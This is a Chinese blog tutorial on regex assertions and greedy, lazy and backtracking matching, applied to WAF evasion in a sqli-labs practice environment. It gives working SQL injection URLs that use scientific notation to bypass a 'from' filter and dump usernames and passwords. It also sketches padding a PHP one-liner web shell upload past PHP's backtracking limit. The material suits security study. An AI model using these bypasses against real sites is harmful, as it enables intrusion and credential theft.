• python之路~~~~~正则表达式绕waf案例分析


    正则表达式

    正则表达式:断言

    断言又有很多中叫法,比如环视,巡视。断言一共又分4种:
    xy XZ xa

    x(?=y) 匹配'x'仅仅当'x'后面跟着'y' .这种叫做先行肯定断言。
    (?<=y)x 匹配'x'仅仅当'x'前面是'y' .这种叫做后行肯定断言。
    x(?!y)仅仅当'x'后面不跟着'y'时匹配‘x',这被称为先行否定断言。
    也可以翻译成y前面不跟着x匹配成功
    (?x'前面不是'y'时匹配'x',这被称为后行否定断言。
    
    • 1
    • 2
    • 3
    • 4
    • 5

    断言的使用:

    (?=.*[0-9])(?=.*[a-z])(?=.*[A-Z])(?=.*[@#$%^&*\(\.\\\)])(?=^.{5,7}$)
    
    • 1

    去匹配数字字母大小写特殊符号,并限制长度为5到7位

    输入四位匹配不到
    在这里插入图片描述

    输入7位匹配到
    在这里插入图片描述

    正则表达式绕waf案例

    案例分析(一)

    首先我们要保证sql注入时from不是一个单词,其次它的语法不能报错,这样才有可能绕过

    我们可以用科学记数法的方式绕过

    select username,1e1from users;
    
    • 1

    在这里插入图片描述

    在这里插入图片描述

    http://192.168.17.130/sqli-labs-master/Less-1/?id=-1' union select 1,(select group_concat(username,0x3a,password),1e1from users),3--+
    
    • 1
    http://192.168.17.130/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username,0x3a,password),1e1from users--+
    
    • 1

    案例分析(二)

    贪婪匹配

    属于贪婪模式的量词,也叫做匹配优先量词,包括:{m,n}{m,}?*+

    惰性匹配

    在匹配优先量词后加上?,即变成属于惰性匹配的量词,也叫做忽略优先量词,包括:{m,n}?{m,}???*?+?

    回溯

    当前前面分支/重复匹配成功后,没有多余的文本可被正则后半部分匹配时,会产生回溯

    用一个简单的例子来解释一下贪婪匹配和惰性匹配!

    贪婪 : /\d+\b/

    惰性 : /d+?\b/

    文本 : 1234a

    贪婪正则匹配 1234a 时的过程是这样的:

    1. \d+ 匹配得到 1234
    2. \b  却匹配失败(\b 是分词边界匹配,用来获取位置,而不是文本,上一节有讲到)
    4. 这个时候,\d+会尝试回吐一个字符,即匹配结果为 123 ,可\b还是匹配失败!
    5. 那就继续回吐,一直到 1,还是匹配失败,那么这个正则就整体匹配失败了
    6. 这个回吐匹配结果的过程就是回溯
    
    • 1
    • 2
    • 3
    • 4
    • 5

    惰性正则匹配 1234a 时的过程是这样的:

    1. \d+? 首先匹配,结果是1 ,紧接着 \b 匹配失败
    2. 那就 \d+? 继续匹配,结果是 12 ,紧接着 \b 还是匹配失败
    3. \d+? 一直匹配到1234,紧接着的 \b 依然匹配失败
    4. 结果整个正则匹配不成功
    
    • 1
    • 2
    • 3
    • 4

    通过这两个例子的比较,相信你会猜到回溯会影响匹配速度,回溯的过程慢那是相对那些DFA引擎。

    而JS的正则引擎是NFA(非确定型有限自动机),匹配慢,编译快。

    而PHP是有限制回溯次数的,中文10w,英文100w

    这样可以写一个脚本生成100w字符,php一句话上传上去即可

  • 相关阅读:
    使用 Flutter 与 Firebase 制作 I/O 弹球游戏
    ASL集睿致远 MIPI转LVDS芯片 CS5518规格书 PIN to PIN替代GM8775C 工业级标准
    二分查找总结
    day40
    Unity16 UI
    C语言实现各类排序算法
    尖端AR技术如何在美国革新外科手术实践?
    Java开发者的Python快速进修指南:实战之跳表pro版本
    【含项目亮点】小免鲜项目总结
    elasticsearch7 实战应用
  • 原文地址:https://blog.csdn.net/weixin_44811851/article/details/125892092